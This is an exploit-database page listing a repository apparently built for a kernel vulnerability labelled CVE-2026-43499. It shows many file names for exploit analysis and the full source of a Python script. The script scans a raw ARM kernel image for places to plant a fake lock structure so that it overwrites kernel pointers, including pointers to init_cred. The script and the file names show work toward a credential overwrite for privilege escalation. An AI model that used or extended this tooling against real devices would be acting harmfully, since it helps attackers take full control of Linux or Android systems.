Exploit databaseDownload repository ZIP
GH-14fb583d3d1bd2da10251bb1a37b93d6
gitchw/ghostlock-cve-2026-43499
Sources for CVE-2026-43499
166 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files678
gitchw/ghostlock-cve-2026-43499Revision 96acd93156f6
- ↑..Parent directory
- analyze_copy_funcs.py
- analyze_func2.py
- analyze_select.py
- analyze_stack.py
- analyze_stamps.py
- analyze_stamps2.py
- analyze_syscall.py
- analyze_targets.py
- analyze_vector.py
- bfs_stamp_search.py
- calc_overlap.py
- chain_disasm.txt
- check_288.py
- check_4e8.py
- check_9978.py
- check_adjtimex.py
- check_adjust_call.py
- check_adjust_pi.py
- check_adjust_pi2.py
- check_adjust_prio.py
- check_after_enqueue.py
- check_ashmem_funcs.py
- check_bc24.py
- check_bfi.py
- check_bind_wrapper.py
- check_bitmap.py
- check_bugons.py
- check_caller.py
- check_candidate.py
- check_candidates.py
- check_capable.py
- check_chain2.py
- check_cleanup.py
- check_cleanup2.py
- check_cleanup_funcs.py
- check_code_ptr.py
- check_comm_tail.py
- check_commit_creds.py
- check_config.py
- check_copy_funcs.py
- check_cred_overwrite.py
- check_css_frame.py
- check_dequeue.py
- check_dequeue_funcs.py
- check_e9248_path.py
- check_e9248_path2.py
- check_e9248_safe.py
- check_edeadlk_handler.py
- check_edeadlk_path.py
- check_enqueue_full.py
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
analysis/scan_fake_lock_targets.py
Python · 3,057 bytesimport sys
sys.path.insert(0, 'pylibs')
import struct
with open('kernel_raw.bin', 'rb') as f:
data = f.read()
BASE = 0xC0008000
init_task = 0xc1b11640
it_off = init_task - BASE
# Scan init_task for: zero word at offset X, kernel pointer at offset X+4,
# zero at X+8, and zero/small at X+0xc
# This would let us place a fake lock at X, overwriting the pointer at X+4
print("=== Potential fake lock targets in init_task ===")
for off in range(0, 0x800, 4):
w0 = struct.unpack('<I', data[it_off+off:it_off+off+4])[0] # wait_lock
w1 = struct.unpack('<I', data[it_off+off+4:it_off+off+8])[0] # rb_root (target)
w2 = struct.unpack('<I', data[it_off+off+8:it_off+off+12])[0] # rb_leftmost
w3 = struct.unpack('<I', data[it_off+off+12:it_off+off+16])[0] # owner
if w0 == 0 and w2 == 0 and w3 <= 1 and 0xc0000000 <= w1 <= 0xd0000000:
addr = init_task + off
addr_bytes = struct.pack('<I', addr)
has_null = b'\x00' in addr_bytes
print(f" +0x{off:03x} (0x{addr:08x}): wait_lock=0, target=0x{w1:08x}, leftmost=0, owner={w3}{' [HAS NULL BYTE]' if has_null else ''}")
# Also scan the entire BSS for zero-word-followed-by-INTERESTING-pointer patterns
# Focus on pointers to other BSS locations (not code)
print("\n=== Scanning BSS for fake lock targets (pointer to BSS/data) ===")
interesting_targets = []
for addr in range(0xc1b00000, 0xc1c00000, 4):
off = addr - BASE
if off + 16 > len(data):
break
w0 = struct.unpack('<I', data[off:off+4])[0]
w1 = struct.unpack('<I', data[off+4:off+8])[0]
w2 = struct.unpack('<I', data[off+8:off+12])[0]
w3 = struct.unpack('<I', data[off+12:off+16])[0]
if w0 == 0 and w2 == 0 and w3 <= 1:
# Target is a pointer to BSS or data
if 0xc1b00000 <= w1 <= 0xc1c00000:
addr_bytes = struct.pack('<I', addr)
if b'\x00' not in addr_bytes:
interesting_targets.append((addr, w1))
print(f"Found {len(interesting_targets)} targets")
# Show first 20
for addr, target in interesting_targets[:20]:
print(f" fake_lock=0x{addr:08x} -> overwrites 0x{addr+4:08x} (currently 0x{target:08x})")
# Also look for pointers to init_cred specifically
print("\n=== Pointers to init_cred (0xc1b17e60) in BSS ===")
for addr in range(0xc1b00000, 0xc1c00000, 4):
off = addr - BASE
if off + 4 > len(data):
break
w1 = struct.unpack('<I', data[off:off+4])[0]
if w1 == 0xc1b17e60:
# Check if 4 bytes before is zero
if off >= 4:
w0 = struct.unpack('<I', data[off-4:off])[0]
w2 = struct.unpack('<I', data[off+4:off+8])[0] if off+8 <= len(data) else 0
w3 = struct.unpack('<I', data[off+8:off+12])[0] if off+12 <= len(data) else 0
fake_lock = addr - 4
addr_bytes = struct.pack('<I', fake_lock)
has_null = b'\x00' in addr_bytes
print(f" init_cred ptr at 0x{addr:08x}, fake_lock=0x{fake_lock:08x}: w0=0x{w0:08x}, w2=0x{w2:08x}, w3=0x{w3:08x}{' [NULL BYTE]' if has_null else ''}")